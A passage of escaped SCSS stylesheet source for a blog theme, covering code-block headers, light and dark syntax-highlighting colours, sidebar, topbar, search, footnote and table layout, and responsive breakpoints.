0.25rem;\n }\n\n .code-header {\n border-radius: 0;\n padding-left: 0.4rem;\n padding-right: 0.5rem;\n }\n }\n }\n}\n", + "/*\n * The syntax light mode code snippet colors.\n */\n\n@mixin light-syntax {\n /* see: */\n .highlight .hll { background-color: #ffffcc; }\n .highlight .c { color: #999988; font-style: italic; } /* Comment */\n .highlight .err { color: #a61717; background-color: #e3d2d2; } /* Error */\n .highlight .k { color: #000000; font-weight: bold; } /* Keyword */\n .highlight .o { color: #000000; font-weight: bold; } /* Operator */\n .highlight .cm { color: #999988; font-style: italic; } /* Comment.Multiline */\n .highlight .cp { color: #999999; font-weight: bold; font-style: italic; } /* Comment.Preproc */\n .highlight .c1 { color: #999988; font-style: italic; } /* Comment.Single */\n .highlight .cs { color: #999999; font-weight: bold; font-style: italic; } /* Comment.Special */\n .highlight .gd { color: #d01040; background-color: #ffdddd; } /* Generic.Deleted */\n .highlight .ge { color: #000000; font-style: italic; } /* Generic.Emph */\n .highlight .gr { color: #aa0000; } /* Generic.Error */\n .highlight .gh { color: #999999; } /* Generic.Heading */\n .highlight .gi { color: #008080; background-color: #ddffdd; } /* Generic.Inserted */\n .highlight .go { color: #888888; } /* Generic.Output */\n .highlight .gp { color: #555555; } /* Generic.Prompt */\n .highlight .gs { font-weight: bold; } /* Generic.Strong */\n .highlight .gu { color: #aaaaaa; } /* Generic.Subheading */\n .highlight .gt { color: #aa0000; } /* Generic.Traceback */\n .highlight .kc { color: #000000; font-weight: bold; } /* Keyword.Constant */\n .highlight .kd { color: #000000; font-weight: bold; } /* Keyword.Declaration */\n .highlight .kn { color: #000000; font-weight: bold; } /* Keyword.Namespace */\n .highlight .kp { color: #000000; font-weight: bold; } /* Keyword.Pseudo */\n .highlight .kr { color: #000000; font-weight: bold; } /* Keyword.Reserved */\n .highlight .kt { color: #445588; font-weight: bold; } /* Keyword.Type */\n .highlight .m { color: #009999; } /* Literal.Number */\n .highlight .s { color: #d01040; } /* Literal.String */\n .highlight .na { color: #008080; } /* Name.Attribute */\n .highlight .nb { color: #0086b3; } /* Name.Builtin */\n .highlight .nc { color: #445588; font-weight: bold; } /* Name.Class */\n .highlight .no { color: #008080; } /* Name.Constant */\n .highlight .nd { color: #3c5d5d; font-weight: bold; } /* Name.Decorator */\n .highlight .ni { color: #800080; } /* Name.Entity */\n .highlight .ne { color: #990000; font-weight: bold; } /* Name.Exception */\n .highlight .nf { color: #990000; font-weight: bold; } /* Name.Function */\n .highlight .nl { color: #990000; font-weight: bold; } /* Name.Label */\n .highlight .nn { color: #555555; } /* Name.Namespace */\n .highlight .nt { color: #000080; } /* Name.Tag */\n .highlight .nv { color: #008080; } /* Name.Variable */\n .highlight .ow { color: #000000; font-weight: bold; } /* Operator.Word */\n .highlight .w { color: #bbbbbb; } /* Text.Whitespace */\n .highlight .mf { color: #009999; } /* Literal.Number.Float */\n .highlight .mh { color: #009999; } /* Literal.Number.Hex */\n .highlight .mi { color: #009999; } /* Literal.Number.Integer */\n .highlight .mo { color: #009999; } /* Literal.Number.Oct */\n .highlight .sb { color: #d01040; } /* Literal.String.Backtick */\n .highlight .sc { color: #d01040; } /* Literal.String.Char */\n .highlight .sd { color: #d01040; } /* Literal.String.Doc */\n .highlight .s2 { color: #d01040; } /* Literal.String.Double */\n .highlight .se { color: #d01040; } /* Literal.String.Escape */\n .highlight .sh { color: #d01040; } /* Literal.String.Heredoc */\n .highlight .si { color: #d01040; } /* Literal.String.Interpol */\n .highlight .sx { color: #d01040; } /* Literal.String.Other */\n .highlight .sr { color: #009926; } /* Literal.String.Regex */\n .highlight .s1 { color: #d01040; } /* Literal.String.Single */\n .highlight .ss { color: #990073; } /* Literal.String.Symbol */\n .highlight .bp { color: #999999; } /* Name.Builtin.Pseudo */\n .highlight .vc { color: #008080; } /* Name.Variable.Class */\n .highlight .vg { color: #008080; } /* Name.Variable.Global */\n .highlight .vi { color: #008080; } /* Name.Variable.Instance */\n .highlight .il { color: #009999; } /* Literal.Number.Integer.Long */\n\n /* --- custom light colors --- */\n --highlight-bg-color: #f7f7f7;\n --highlighter-rouge-color: #2f2f2f;\n --highlight-lineno-color: #c2c6cc;\n --inline-code-bg: #f3f3f3;\n --code-header-text-color: #a3a3b1;\n --code-header-muted-color: #ebebeb;\n --code-header-icon-color: #d1d1d1;\n --clipboard-checked-color: #43c743;\n\n [class^=prompt-] {\n --inline-code-bg: #fbfafa;\n --highlighter-rouge-color: rgb(82 82 82);\n }\n\n} /* light-syntax */\n", + "/*\n * The syntax dark mode styles.\n */\n\n@mixin dark-syntax {\n /* syntax highlight colors from https://raw.githubusercontent.com/jwarby/pygments-css/master/monokai.css */\n .highlight pre { background-color: var(--highlight-bg-color); }\n .highlight .hll { background-color: var(--highlight-bg-color); }\n .highlight .c { color: #75715e; } /* Comment */\n .highlight .err { color: #960050; background-color: #1e0010; } /* Error */\n .highlight .k { color: #66d9ef; } /* Keyword */\n .highlight .l { color: #ae81ff; } /* Literal */\n .highlight .n { color: #f8f8f2; } /* Name */\n .highlight .o { color: #f92672; } /* Operator */\n .highlight .p { color: #f8f8f2; } /* Punctuation */\n .highlight .cm { color: #75715e; } /* Comment.Multiline */\n .highlight .cp { color: #75715e; } /* Comment.Preproc */\n .highlight .c1 { color: #75715e; } /* Comment.Single */\n .highlight .cs { color: #75715e; } /* Comment.Special */\n .highlight .ge { color: inherit; font-style: italic; } /* Generic.Emph */\n .highlight .gs { font-weight: bold; } /* Generic.Strong */\n .highlight .kc { color: #66d9ef; } /* Keyword.Constant */\n .highlight .kd { color: #66d9ef; } /* Keyword.Declaration */\n .highlight .kn { color: #f92672; } /* Keyword.Namespace */\n .highlight .kp { color: #66d9ef; } /* Keyword.Pseudo */\n .highlight .kr { color: #66d9ef; } /* Keyword.Reserved */\n .highlight .kt { color: #66d9ef; } /* Keyword.Type */\n .highlight .ld { color: #e6db74; } /* Literal.Date */\n .highlight .m { color: #ae81ff; } /* Literal.Number */\n .highlight .s { color: #e6db74; } /* Literal.String */\n .highlight .na { color: #a6e22e; } /* Name.Attribute */\n .highlight .nb { color: #f8f8f2; } /* Name.Builtin */\n .highlight .nc { color: #a6e22e; } /* Name.Class */\n .highlight .no { color: #66d9ef; } /* Name.Constant */\n .highlight .nd { color: #a6e22e; } /* Name.Decorator */\n .highlight .ni { color: #f8f8f2; } /* Name.Entity */\n .highlight .ne { color: #a6e22e; } /* Name.Exception */\n .highlight .nf { color: #a6e22e; } /* Name.Function */\n .highlight .nl { color: #f8f8f2; } /* Name.Label */\n .highlight .nn { color: #f8f8f2; } /* Name.Namespace */\n .highlight .nx { color: #a6e22e; } /* Name.Other */\n .highlight .py { color: #f8f8f2; } /* Name.Property */\n .highlight .nt { color: #f92672; } /* Name.Tag */\n .highlight .nv { color: #f8f8f2; } /* Name.Variable */\n .highlight .ow { color: #f92672; } /* Operator.Word */\n .highlight .w { color: #f8f8f2; } /* Text.Whitespace */\n .highlight .mf { color: #ae81ff; } /* Literal.Number.Float */\n .highlight .mh { color: #ae81ff; } /* Literal.Number.Hex */\n .highlight .mi { color: #ae81ff; } /* Literal.Number.Integer */\n .highlight .mo { color: #ae81ff; } /* Literal.Number.Oct */\n .highlight .sb { color: #e6db74; } /* Literal.String.Backtick */\n .highlight .sc { color: #e6db74; } /* Literal.String.Char */\n .highlight .sd { color: #e6db74; } /* Literal.String.Doc */\n .highlight .s2 { color: #e6db74; } /* Literal.String.Double */\n .highlight .se { color: #ae81ff; } /* Literal.String.Escape */\n .highlight .sh { color: #e6db74; } /* Literal.String.Heredoc */\n .highlight .si { color: #e6db74; } /* Literal.String.Interpol */\n .highlight .sx { color: #e6db74; } /* Literal.String.Other */\n .highlight .sr { color: #e6db74; } /* Literal.String.Regex */\n .highlight .s1 { color: #e6db74; } /* Literal.String.Single */\n .highlight .ss { color: #e6db74; } /* Literal.String.Symbol */\n .highlight .bp { color: #f8f8f2; } /* Name.Builtin.Pseudo */\n .highlight .vc { color: #f8f8f2; } /* Name.Variable.Class */\n .highlight .vg { color: #f8f8f2; } /* Name.Variable.Global */\n .highlight .vi { color: #f8f8f2; } /* Name.Variable.Instance */\n .highlight .il { color: #ae81ff; } /* Literal.Number.Integer.Long */\n .highlight .gu { color: #75715e; } /* Generic.Subheading & Diff Unified/Comment? */\n .highlight .gd { color: #f92672; background-color: #561c08; } /* Generic.Deleted & Diff Deleted */\n .highlight .gi { color: #a6e22e; background-color: #0b5858; } /* Generic.Inserted & Diff Inserted */\n\n /* ----- custom styles ------ */\n\n --highlight-bg-color: #252525;\n --highlighter-rouge-color: #de6b18;\n --highlight-lineno-color: #6c6c6d;\n --inline-code-bg: #272822;\n --code-header-text-color: #6a6a6a;\n --code-header-muted-color: rgb(60 60 60);\n --code-header-icon-color: rgb(86 86 86);\n --clipboard-checked-color: #2bcc2b;\n --filepath-text-color: #bdbdbd;\n\n .highlight {\n .gp { color: #818c96; }\n }\n\n pre { color: #bfbfbf; } /* override Bootstrap */\n}\n", + "/*\n The common styles\n*/\n\nhtml {\n @media (prefers-color-scheme: light) {\n &:not([data-mode]),\n [data-mode=light] {\n @include light-scheme;\n }\n\n &[data-mode=dark] {\n @include dark-scheme;\n }\n }\n\n @media (prefers-color-scheme: dark) {\n &:not([data-mode]),\n &[data-mode=dark] {\n @include dark-scheme;\n }\n\n &[data-mode=light] {\n @include light-scheme;\n }\n }\n\n font-size: 16px;\n}\n\nbody {\n line-height: 1.75rem;\n background: var(--body-bg);\n color: var(--text-color);\n -webkit-font-smoothing: antialiased;\n font-family: 'Source Sans Pro', 'Microsoft Yahei', sans-serif;\n}\n\n/* --- Typography --- */\n\nh1 {\n @extend %heading;\n\n font-size: 1.9rem;\n}\n\nh2 {\n @extend %heading;\n @extend %section;\n @extend %anchor;\n\n font-size: 1.5rem;\n}\n\nh3 {\n @extend %heading;\n @extend %section;\n @extend %anchor;\n\n font-size: 1.2rem;\n}\n\nh4 {\n @extend %heading;\n @extend %section;\n @extend %anchor;\n\n font-size: 1.15rem;\n}\n\nh5 {\n @extend %heading;\n @extend %section;\n @extend %anchor;\n\n font-size: 1.1rem;\n}\n\nol,\nul {\n ol,\n ul {\n margin-bottom: 1rem;\n }\n}\n\na {\n @extend %link-color;\n}\n\nimg {\n max-width: 100%;\n height: auto;\n}\n\nblockquote {\n border-left: 5px solid var(--blockquote-border-color);\n padding-left: 1rem;\n color: var(--blockquote-text-color);\n\n &[class^=\"prompt-\"] {\n display: flex;\n border-left: 0;\n border-radius: 6px;\n padding: 0.75rem 1.2rem;\n color: var(--prompt-text-color);\n\n &::before {\n margin-right: 1rem;\n font-family: \"Font Awesome 5 Free\";\n text-align: center;\n width: 1.25rem;\n }\n\n p:last-child {\n margin-bottom: 0rem;\n }\n }\n\n @include prompt(\"tip\", \"\\f0eb\", 400);\n\n @include prompt(\"info\", \"\\f06a\");\n\n @include prompt(\"warning\", \"\\f06a\");\n\n @include prompt(\"danger\", \"\\f071\");\n}\n\nkbd {\n font-family: inherit;\n display: inline-block;\n vertical-align: middle;\n line-height: 1.3rem;\n min-width: 1.75rem;\n text-align: center;\n margin: 0 0.3rem;\n padding-top: 0.1rem;\n color: var(--kbd-text-color);\n background-color: var(--kbd-bg-color);\n border-radius: 0.25rem;\n border: solid 1px var(--kbd-wrap-color);\n box-shadow: inset 0 -2px 0 var(--kbd-wrap-color);\n}\n\nfooter {\n position: absolute;\n bottom: 0;\n padding: 0 1rem;\n height: $footer-height;\n font-size: 0.8rem;\n\n > div.d-flex {\n line-height: 1.2rem;\n width: 95%;\n max-width: 1045px;\n border-top: 1px solid var(--main-border-color);\n margin-bottom: 1rem;\n\n > div {\n width: 350px;\n }\n }\n\n a {\n @extend %text-color;\n\n &:link {\n @include no-text-decoration;\n }\n\n &:hover {\n @extend %link-hover;\n\n @include no-text-decoration;\n }\n }\n\n .footer-right {\n text-align: right;\n }\n}\n\ni { /* fontawesome icons */\n &.far,\n &.fas {\n @extend %no-cursor;\n }\n}\n\n@keyframes fade-in {\n from { opacity: 0; }\n to { opacity: 1; }\n}\n\nimg[data-src] {\n margin: 0.5rem 0;\n\n &[data-loaded=true] {\n animation: fade-in linear 0.5s;\n }\n\n &.left {\n float: left;\n margin: 0.75rem 1rem 1rem 0;\n }\n\n &.right {\n float: right;\n margin: 0.75rem 0 1rem 1rem;\n }\n\n &.shadow {\n filter: drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));\n box-shadow: none !important; /* cover the Bootstrap 4.6.1 styles */\n }\n\n @extend %img-caption;\n}\n\n/* --- Panels --- */\n\n.access {\n top: 2rem;\n transition: top 0.2s ease-in-out;\n margin-right: 1.5rem;\n margin-top: 3rem;\n margin-bottom: 4rem;\n\n &:only-child {\n position: -webkit-sticky; /* Safari */\n position: sticky;\n }\n\n > div {\n padding-left: 1rem;\n border-left: 1px solid var(--main-border-color);\n\n &:not(:last-child) {\n margin-bottom: 4rem;\n }\n }\n\n .post-content {\n font-size: 0.9rem;\n }\n\n}\n\n#panel-wrapper {\n /* the headings */\n .panel-heading {\n @include label(inherit);\n }\n\n .post-tag {\n display: inline-block;\n line-height: 1rem;\n font-size: 0.85rem;\n background: none;\n border: 1px solid var(--btn-border-color);\n border-radius: 0.8rem;\n padding: 0.3rem 0.5rem;\n margin: 0 0.35rem 0.5rem 0;\n\n &:hover {\n background-color: #2a408e;\n border-color: #2a408e;\n color: #fff;\n transition: none;\n }\n }\n\n [data-topbar-visible=true] & > div {\n top: 6rem;\n }\n}\n\n#access-lastmod {\n li {\n height: 1.8rem;\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 1;\n -webkit-box-orient: vertical;\n list-style: none;\n }\n\n a {\n &:hover {\n @extend %link-hover;\n }\n\n @extend %no-bottom-border;\n\n color: inherit;\n }\n\n}\n\n.footnotes > ol {\n padding-left: 2rem;\n margin-top: 0.5rem;\n\n > li {\n &:not(:last-child) {\n margin-bottom: 0.3rem;\n }\n\n > p {\n margin-left: 0.25em;\n margin-top: 0;\n margin-bottom: 0;\n }\n\n /* [scroll-focus] added by `smooth-scroll.js` */\n &:target:not([scroll-focus]),\n &[scroll-focus=true] > p {\n background-color: var(--footnote-target-bg);\n width: fit-content;\n -webkit-transition: background-color 1.5s ease-in-out; /* Safari prior 6.1 */\n transition: background-color 1.5s ease-in-out;\n }\n }\n}\n\n.footnote {\n @at-root a#{&} {\n @include ml-mr(1px);\n @include pl-pr(2px);\n\n border-bottom-style: none !important;\n -webkit-transition: background-color 1.5s ease-in-out; /* Safari prior 6.1 */\n transition: background-color 1.5s ease-in-out;\n }\n\n /* [scroll-focus] added by `smooth-scroll.js` */\n @at-root sup:target:not([scroll-focus]),\n sup[scroll-focus=true] > a#{&} {\n background-color: var(--footnote-target-bg);\n }\n}\n\n.reversefootnote {\n @at-root a#{&} {\n font-size: 0.6rem;\n line-height: 1;\n position: relative;\n bottom: 0.25em;\n margin-left: 0.25em;\n border-bottom-style: none !important;\n }\n}\n\n/* --- Begin of Markdown table style --- */\n\n/* it will be created by Liquid */\n.table-wrapper {\n overflow-x: auto;\n margin-bottom: 1.5rem;\n\n > table {\n min-width: 100%;\n overflow-x: auto;\n border-spacing: 0;\n\n thead {\n border-bottom: solid 2px rgba(210, 215, 217, 0.75);\n\n th {\n @extend %table-cell;\n }\n }\n\n tbody {\n tr {\n border-bottom: 1px solid var(--tb-border-color);\n\n &:nth-child(2n) {\n background-color: var(--tb-even-bg);\n }\n\n &:nth-child(2n + 1) {\n background-color: var(--tb-odd-bg);\n }\n\n td {\n @extend %table-cell;\n }\n }\n } /* tbody */\n }/* table */\n}\n\n/* --- post --- */\n\n.post {\n h1 {\n margin-top: 3rem;\n margin-bottom: 1.5rem;\n }\n\n a {\n &.img-link {\n @extend %no-cursor;\n }\n\n /* created by `_includes/img-extra.html` */\n &.popup {\n cursor: zoom-in;\n\n > img[data-src]:not(.normal):not(.left):not(.right) {\n @include align-center;\n }\n }\n\n &:hover {\n code {\n @extend %link-hover;\n }\n }\n } /* a */\n\n}\n\n.pageviews .fa-spinner {\n font-size: 80%;\n}\n\n.post-meta {\n font-size: 0.85rem;\n word-spacing: 1px;\n\n a {\n &:not(:last-child) {\n margin-right: 2px;\n }\n\n &:hover {\n @extend %link-hover;\n }\n }\n\n em {\n @extend %normal-font-style;\n }\n}\n\n.post-content {\n font-size: 1.08rem;\n line-height: 1.8;\n margin-top: 2rem;\n overflow-wrap: break-word;\n word-wrap: break-word;\n\n a {\n &:not(.img-link) {\n @extend %link-underline;\n\n &:hover {\n @extend %link-hover;\n }\n }\n\n &.img-link {\n @extend %img-caption;\n }\n\n }\n\n ul {\n /* attribute 'hide-bullet' was added by liquid */\n .task-list-item[hide-bullet] {\n list-style-type: none;\n\n > i { /* checkbox icon */\n margin: 0 0.4rem 0.2rem -1.4rem;\n vertical-align: middle;\n color: var(--checkbox-color);\n\n &.checked {\n color: var(--checkbox-checked-color);\n }\n }\n\n }\n\n input[type=checkbox] {\n margin: 0 0.5rem 0.2rem -1.3rem;\n vertical-align: middle;\n }\n\n } /* ul */\n\n > ol,\n > ul {\n padding-left: 2rem;\n\n li {\n ol,\n ul { /* sub list */\n padding-left: 2rem;\n margin-top: 0.3rem;\n }\n }\n\n }\n\n > ol {\n li {\n padding-left: 0.25em;\n }\n }\n\n dl > dd {\n margin-left: 1rem;\n }\n\n} /* .post-content */\n\n.tag:hover {\n @extend %tag-hover;\n}\n\n.post-tag {\n display: inline-block;\n min-width: 2rem;\n text-align: center;\n background: var(--tag-bg);\n border-radius: 0.3rem;\n padding: 0 0.4rem;\n color: inherit;\n line-height: 1.3rem;\n\n &:not(:last-child) {\n margin-right: 0.2rem;\n }\n\n &:hover {\n @extend %tag-hover;\n\n border-bottom: none;\n text-decoration: none;\n color: #d2603a;\n }\n}\n\n/* --- buttons --- */\n.btn-lang {\n border: 1px solid !important;\n padding: 1px 3px;\n border-radius: 3px;\n color: var(--link-color);\n\n &:focus {\n box-shadow: none;\n }\n}\n\n/* --- Effects classes --- */\n\n.loaded {\n display: block !important;\n\n @at-root .d-flex#{&} {\n display: flex !important;\n }\n}\n\n.unloaded {\n display: none !important;\n}\n\n.visible {\n visibility: visible !important;\n}\n\n.hidden {\n visibility: hidden !important;\n}\n\n.flex-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n}\n\n.btn-box-shadow {\n box-shadow: 0 0 8px 0 var(--btn-box-shadow) !important;\n}\n\n.no-text-decoration {\n @include no-text-decoration;\n}\n\n.tooltip-inner { /* Overrided BS4 Tooltip */\n font-size: 0.7rem;\n max-width: 220px;\n text-align: left;\n}\n\n.disabled {\n color: rgb(206, 196, 196);\n pointer-events: auto;\n cursor: not-allowed;\n}\n\n.hide-border-bottom {\n border-bottom: none !important;\n}\n\n.input-focus {\n box-shadow: none;\n border-color: var(--input-focus-border-color) !important;\n background: center !important;\n transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out;\n}\n\n/* --- Overriding --- */\n\n/* magnific-popup */\nfigure .mfp-title {\n text-align: center;\n padding-right: 0;\n margin-top: 0.5rem;\n}\n\n/* mermaid */\n.mermaid {\n text-align: center;\n}\n\n/* --- sidebar layout --- */\n\n$sidebar-display: \"sidebar-display\";\n\n#sidebar {\n @include pl-pr(0);\n\n position: fixed;\n top: 0;\n left: 0;\n height: 100%;\n overflow-y: auto;\n width: $sidebar-width;\n z-index: 99;\n background: var(--sidebar-bg);\n\n /* Hide scrollbar for Chrome, Safari and Opera */\n &::-webkit-scrollbar {\n display: none;\n }\n\n /* Hide scrollbar for IE, Edge and Firefox */\n -ms-overflow-style: none; /* IE and Edge */\n scrollbar-width: none; /* Firefox */\n\n a {\n @extend %sidebar-links;\n\n &:hover {\n @include no-text-decoration;\n\n color: var(--sidebar-active-color) !important;\n }\n }\n\n #avatar {\n > a {\n display: block;\n width: 6rem;\n height: 6rem;\n border-radius: 50%;\n border: 2px solid rgba(222, 222, 222, 0.7);\n overflow: hidden;\n transform: translateZ(0); /* fixed the zoom in Safari */\n -webkit-transition: border-color 0.35s ease-in-out;\n -moz-transition: border-color 0.35s ease-in-out;\n transition: border-color 0.35s ease-in-out;\n\n &:hover {\n border-color: white;\n }\n }\n\n img {\n width: 100%;\n height: 100%;\n -webkit-transition: transform 0.5s;\n -moz-transition: transform 0.5s;\n transition: transform 0.5s;\n\n &:hover {\n -ms-transform: scale(1.2);\n -moz-transform: scale(1.2);\n -webkit-transform: scale(1.2);\n transform: scale(1.2);\n }\n }\n } /* #avatar */\n\n .site-title {\n a {\n @extend %clickable-transition;\n\n font-weight: 900;\n font-size: 1.5rem;\n letter-spacing: 0.5px;\n color: rgba(134, 133, 133, 99%);\n }\n }\n\n .site-subtitle {\n font-size: 95%;\n color: var(--sidebar-muted-color);\n line-height: 1.2rem;\n word-spacing: 1px;\n margin: 0.5rem 1.5rem 0.5rem 1.5rem;\n min-height: 3rem; /* avoid vertical shifting in multi-line words */\n user-select: none;\n }\n\n .nav-link {\n border-radius: 0;\n font-size: 0.95rem;\n font-weight: 600;\n letter-spacing: 1px;\n display: table-cell;\n vertical-align: middle;\n }\n\n .nav-item {\n text-align: center;\n display: table;\n height: $tab-height;\n\n &.active {\n .nav-link {\n color: var(--sidebar-active-color);\n }\n }\n\n &:not(.active) > a {\n @extend %clickable-transition;\n }\n }\n\n ul {\n height: $tab-height * $tab-count;\n margin-bottom: 2rem;\n padding-left: 0;\n\n li {\n width: 100%;\n\n &:last-child {\n a {\n position: relative;\n left: $cursor-width / 2;\n width: 100%;\n }\n\n &::after { /* the cursor */\n display: table;\n visibility: hidden;\n content: \"\";\n position: relative;\n right: 1px;\n width: $cursor-width;\n height: $tab-cursor-height;\n border-radius: 1px;\n background-color: var(--nav-cursor-color);\n pointer-events: none;\n }\n }\n } /* li */\n\n @mixin fix-cursor($top) {\n top: $top;\n visibility: visible;\n }\n\n @for $i from 1 through $tab-count {\n $offset: $tab-count - $i;\n $top: -$offset * $tab-height + ($tab-height - $tab-cursor-height) / 2;\n\n @if $i < $tab-count {\n > li.active:nth-child(#{$i}),\n > li.nav-item:nth-child(#{$i}):hover {\n ~ li:last-child::after {\n @include fix-cursor($top);\n }\n }\n } @else {\n > li.active:nth-child(#{$i}):last-child::after,\n > li.nav-item:nth-child(#{$i}):last-child:hover::after {\n @include fix-cursor($top);\n }\n }\n\n } /* @for */\n\n } /* ul */\n\n .sidebar-bottom {\n margin-bottom: 2.1rem;\n\n @include ml-mr(auto);\n @include pl-pr(1rem);\n\n %icon {\n width: 2.4rem;\n text-align: center;\n }\n\n a {\n @extend %icon;\n @extend %clickable-transition;\n }\n\n i {\n font-size: 1.2rem;\n line-height: 1.75rem;\n }\n\n .mode-toggle {\n padding: 0;\n border: 0;\n margin-bottom: 1px;\n background-color: transparent;\n\n @extend %icon;\n @extend %sidebar-links;\n\n > i {\n @extend %clickable-transition;\n }\n\n &:hover > i {\n color: var(--sidebar-active-color);\n }\n }\n\n .icon-border {\n @extend %no-cursor;\n\n background-color: var(--sidebar-muted-color);\n content: \"\";\n width: 3px;\n height: 3px;\n border-radius: 50%;\n }\n\n } /* .sidebar-bottom */\n\n} /* #sidebar */\n\n@media (hover: hover) {\n #sidebar ul > li:last-child::after {\n -webkit-transition: top 0.5s ease;\n -moz-transition: top 0.5s ease;\n -o-transition: top 0.5s ease;\n transition: top 0.5s ease;\n }\n}\n\n.profile-wrapper {\n margin-top: 2rem;\n width: 100%;\n}\n\n#search-result-wrapper {\n display: none;\n height: 100%;\n overflow: auto;\n\n .post-content {\n margin-top: 2rem;\n }\n}\n\n/* --- top-bar --- */\n\n#topbar-wrapper {\n height: $topbar-height;\n position: fixed;\n top: 0;\n left: $sidebar-width; /* same as sidebar width */\n right: 0;\n transition: top 0.2s ease-in-out;\n z-index: 50;\n border-bottom: 1px solid rgba(0, 0, 0, 0.07);\n background-color: var(--topbar-wrapper-bg);\n\n [data-topbar-visible=false] & {\n top: -$topbar-height; /* same as topbar height. */\n }\n}\n\n#topbar {\n i { /* icons */\n color: #999;\n }\n\n #breadcrumb {\n font-size: 1rem;\n color: gray;\n padding-left: 0.5rem;\n\n a:hover {\n @extend %link-hover;\n }\n\n span {\n &:not(:last-child) {\n &::after {\n content: \"›\";\n padding: 0 0.3rem;\n }\n }\n }\n }\n} /* #topbar */\n\n#sidebar-trigger,\n#search-trigger {\n display: none;\n}\n\n#search-wrapper {\n display: flex;\n width: 85%;\n border-radius: 1rem;\n border: 1px solid var(--search-wrapper-border-color);\n background: var(--search-wrapper-bg);\n padding: 0 0.5rem;\n\n i {\n z-index: 2;\n font-size: 0.9rem;\n color: var(--search-icon-color);\n }\n}\n\n#search-cancel { /* 'Cancel' link */\n color: var(--link-color);\n margin-left: 1rem;\n display: none;\n\n @extend %cursor-pointer;\n}\n\n#search-input {\n background: center;\n border: 0;\n border-radius: 0;\n padding: 0.18rem 0.3rem;\n color: var(--text-color);\n height: auto;\n\n &:focus {\n box-shadow: none;\n background: center;\n\n &.form-control {\n &::-webkit-input-placeholder { @include input-placeholder; }\n &::-moz-placeholder { @include input-placeholder; }\n &:-ms-input-placeholder { @include input-placeholder; }\n &::placeholder { @include input-placeholder; }\n }\n }\n}\n\n#search-hints {\n padding: 0 1rem;\n\n h4 {\n margin-bottom: 1.5rem;\n }\n\n .post-tag {\n display: inline-block;\n line-height: 1rem;\n font-size: 1rem;\n background: var(--search-tag-bg);\n border: none;\n padding: 0.5rem;\n margin: 0 1.25rem 1rem 0;\n\n &::before {\n content: \"#\";\n color: var(--text-muted-color);\n padding-right: 0.2rem;\n }\n\n @extend %link-color;\n }\n}\n\n#search-results {\n padding-bottom: 6rem;\n\n a {\n &:hover {\n @extend %link-hover;\n }\n\n @extend %link-color;\n @extend %no-bottom-border;\n @extend %heading;\n\n font-size: 1.4rem;\n line-height: 2.5rem;\n }\n\n > div {\n width: 100%;\n\n &:not(:last-child) {\n margin-bottom: 1rem;\n }\n\n i { /* icons */\n color: #818182;\n margin-right: 0.15rem;\n font-size: 80%;\n }\n\n > p {\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 3;\n -webkit-box-orient: vertical;\n }\n }\n} /* #search-results */\n\n#topbar-title {\n display: none;\n font-size: 1.1rem;\n font-weight: 600;\n font-family: sans-serif;\n color: var(--topbar-text-color);\n text-align: center;\n width: 70%;\n overflow: hidden;\n text-overflow: ellipsis;\n word-break: keep-all;\n white-space: nowrap;\n}\n\n#core-wrapper {\n min-height: calc(100vh - #{$topbar-height} - #{$footer-height} - #{$bottom-min-height}) !important;\n\n .categories,\n #tags,\n #archives {\n a:not(:hover) {\n @extend %no-bottom-border;\n }\n }\n}\n\n#mask {\n display: none;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n height: 100%;\n width: 100%;\n z-index: 1;\n\n @at-root [#{$sidebar-display}] & {\n display: block !important;\n }\n}\n\n/* --- main wrapper --- */\n\n#main-wrapper {\n background-color: var(--main-wrapper-bg);\n position: relative;\n min-height: 100vh;\n padding-bottom: $footer-height;\n\n @include pl-pr(0);\n}\n\n#main {\n .row:first-child {\n > div {\n &:nth-child(1),\n &:nth-child(2) {\n margin-top: $topbar-height; /* same as the height of topbar */\n }\n\n &:first-child {\n /* 3rem for topbar, 6rem for footer */\n min-height: calc(100vh - #{$topbar-height} - #{$footer-height} - #{$bottom-min-height});\n }\n }\n }\n\n div.row:first-of-type:last-of-type { /* alone */\n margin-bottom: 4rem;\n }\n}\n\n#topbar-wrapper.row,\n#main > .row,\n#search-result-wrapper > .row {\n @include ml-mr(0);\n}\n\n/* --- button back-to-top --- */\n\n#back-to-top {\n $size: 2.7em;\n\n display: none;\n z-index: 1;\n cursor: pointer;\n position: fixed;\n background: var(--button-bg);\n color: var(--btn-backtotop-color);\n padding: 0;\n width: $size;\n height: $size;\n border-radius: 50%;\n border: 1px solid var(--btn-backtotop-border-color);\n transition: transform 0.2s ease-out;\n -webkit-transition: transform 0.2s ease-out;\n\n i {\n line-height: $size;\n position: relative;\n bottom: 2px;\n }\n}\n\n#back-to-top:hover {\n transform: translate3d(0, -5px, 0);\n -webkit-transform: translate3d(0, -5px, 0);\n}\n\n/*\n Responsive Design:\n\n {sidebar, content, panel} >= 1120px screen width\n {sidebar, content} >= 850px screen width\n {content} <= 849px screen width\n\n*/\n\n@media all and (max-width: 576px) {\n\n $footer-height: $footer-height-mobile; /* overwrite */\n\n footer {\n height: $footer-height;\n\n > div.d-flex {\n width: 100%;\n padding: 1.5rem 0;\n margin-bottom: 0.3rem;\n flex-wrap: wrap;\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n\n .footer-left,\n .footer-right {\n text-align: center;\n }\n }\n\n #main > div.row:first-child > div:first-child {\n min-height: calc(100vh - #{$topbar-height} - #{$footer-height});\n }\n\n #core-wrapper {\n min-height: calc(100vh - #{$topbar-height} - #{$footer-height} - #{$bottom-min-height}) !important;\n\n h1 {\n margin-top: 2.2rem;\n font-size: 1.75rem;\n }\n\n .post-content {\n > blockquote[class^=prompt-] {\n @include ml-mr(-1.25rem);\n border-radius: 0;\n }\n }\n\n }\n\n #avatar > a {\n width: 5rem;\n height: 5rem;\n }\n\n .site-subtitle {\n @include ml-mr(1.8rem);\n }\n\n #main-wrapper {\n padding-bottom: $footer-height;\n }\n\n}\n\n/* hide sidebar and panel */\n@media all and (max-width: 849px) {\n @mixin slide($append: null) {\n $basic: transform 0.4s ease;\n @if $append {\n -webkit-transition: $basic, $append;\n transition: $basic, $append;\n } @else {\n -webkit-transition: $basic;\n transition: $basic;\n }\n }\n\n html,\n body {\n overflow-x: hidden;\n }\n\n 